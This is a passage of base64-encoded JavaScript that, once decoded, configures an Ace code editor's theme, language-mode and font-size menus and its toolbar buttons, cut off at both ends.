CAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0bWF0ZVwiOiBcIlRleHRNYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRvbW9ycm93XCI6IFwiVG9tb3Jyb3dcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieGNvZGVcIjogXCJYQ29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJrdXJvaXJcIjogXCJLdXJvaXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia2F0emVubWlsY2hcIjogXCJLYXR6ZW5NaWxjaFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzcWxzZXJ2ZXJcIjogXCJTUUwgU2VydmVyXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkYXJrXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYW1iaWFuY2VcIjogXCJBbWJpYW5jZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjaGFvc1wiOiBcIkNoYW9zXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb3Vkc19taWRuaWdodFwiOiBcIkNsb3VkcyBNaWRuaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkcmFjdWxhXCI6IFwiRHJhY3VsYVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjb2JhbHRcIjogXCJDb2JhbHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3J1dmJveFwiOiBcIkdydXZib3hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ29iXCI6IFwiR3JlZW4gb24gQmxhY2tcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaWRsZV9maW5nZXJzXCI6IFwiaWRsZSBGaW5nZXJzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImtyX3RoZW1lXCI6IFwia3JUaGVtZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtZXJiaXZvcmVcIjogXCJNZXJiaXZvcmVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVyYml2b3JlX3NvZnRcIjogXCJNZXJiaXZvcmUgU29mdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbn